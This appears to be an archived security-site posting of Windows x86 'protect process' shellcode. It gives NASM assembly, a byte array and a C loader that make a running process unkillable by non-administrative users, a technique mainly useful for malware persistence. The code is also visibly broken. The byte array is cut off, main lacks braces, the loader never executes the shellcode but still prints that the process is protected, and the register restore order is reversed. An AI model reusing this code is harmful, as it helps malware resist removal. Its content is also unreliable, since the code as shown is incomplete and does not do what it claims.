Windows x86 Protect Process Shellcode

229 bytes small Windows x86 protect process shellcode.

MD5 | ccdac6d32d7ef147989f93231c7395e3


# Win32 - Protect Process Shellcode
# Date: [17.02.2017]
# Author: [Ege BalcA+-]
# Tested on: [Win 7/8/8.1/10]

This shellcode sets the SE_DACL_PROTECTED flag inside security descriptor structure,
this will prevent the process being terminated by non administrative users.


[BITS 32]
[ORG 0]

; EAX-> Return Values
; EBX-> Process Handle
; EBP-> API Block
; ESI-> Saved ESP

pushad ; Save all registers to stack
pushfd ; Save all flags to stack

push esp ; Push the current esp value
pop esi ; Save the current esp value to ecx

cld ; Clear direction flags
call Start

%include "API-BLOCK.asm"; Stephen Fewer's hash API from metasploit project

pop ebp ; Pop the address of SFHA

push 0x62C64749 ; hash(kernel32.dll, GetCurrentProcessId())
call ebp ; GetCurrentProcessId()

push eax ; Process ID
push 0x00000000 ; FALSE
push 0x50B695EE ; hash(kernel32.dll, OpenProcess)
call ebp ; OpenProcess(PROCESS_ALL_ACCESS,FALSE,ECX)
mov ebx, eax ; Move process handle to ebx

push 0x00000000 ; 0,0
push 0x32336970 ; pi32
push 0x61766461 ; adva
push esp ; Push the address of "advapi32" string
push 0x0726774C ; hash(kernel32.dll, LoadLibraryA)
call ebp ; LoadLibraryA("advapi32")

push 0x00503a44 ; "D:P"
sub esp,4 ; Push the address of "D:P" string to stack

push 0x00000000 ; FALSE
lea eax, [esp+4] ; Load the address of 4 byte buffer to EAX
push eax ; Push the 4 byte buffer address
push 0x00000001 ; SDDL_REVISION_1
lea eax, [esp+16] ; Load the address of "D:P" string to EAX
push eax ; Push the EAX value
push 0xDA6F639A ; hash(advapi32.dll, ConvertStringSecurityDescriptorToSecurityDescriptor)
call ebp ; ConvertStringSecurityDescriptorToSecurityDescriptor("D:P",SDDL_REVISION_1,FALSE)

push ebx ; Process Handle
push 0xD63AF8DB ; hash(kernel32.dll, SetKernelObjectSecurity)
call ebp ; SetKernelObjectSecurity(ProcessHandle,DACL_SECURITY_INFORMATION,SecurityDescriptor)

mov esp,esi ; Restore the address of esp
popad ; Popback all registers
popfd ; Popback all flags
ret ; Return


//>Special thanks to Yusuf Arslan Polat ;D
#include <windows.h>
#include <stdio.h>

unsigned char Shellcode[] = {
0x60, 0x9c, 0x54, 0x5e, 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89,
0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52,
0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2,
0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78,
0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49,
0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac,
0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8,
0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66,
0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01,
0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff,
0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x68, 0x49, 0x47,
0xc6, 0x62, 0xff, 0xd5, 0x50, 0x6a, 0x00, 0x68, 0xff, 0x0f, 0x1f, 0x00,
0x68, 0xee, 0x95, 0xb6, 0x50, 0xff, 0xd5, 0x89, 0xc3, 0x6a, 0x00, 0x68,
0x70, 0x69, 0x33, 0x32, 0x68, 0x61, 0x64, 0x76, 0x61, 0x54, 0x68, 0x4c,
0x77, 0x26, 0x07, 0xff, 0xd5, 0x68, 0x44, 0x3a, 0x50, 0x00, 0x83, 0xec,
0x04, 0x6a, 0x00, 0x8d, 0x44, 0x24, 0x04, 0x50, 0x6a, 0x01, 0x8d, 0x44,
0x24, 0x10, 0x50, 0x68, 0x9a, 0x63, 0x6f, 0xda, 0xff, 0xd5, 0x6a, 0x04,
0x53, 0x68, 0xdb, 0xf8, 0x3a, 0xd6, 0xff, 0xd5, 0x89, 0xf4, 0x61, 0x9d,

int main(int argc, char const *argv[])
char* BUFFER = (char*)VirtualAlloc(NULL, sizeof(Shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(BUFFER, Shellcode, sizeof(Shellcode));

printf("This process is protected !");

return 0;

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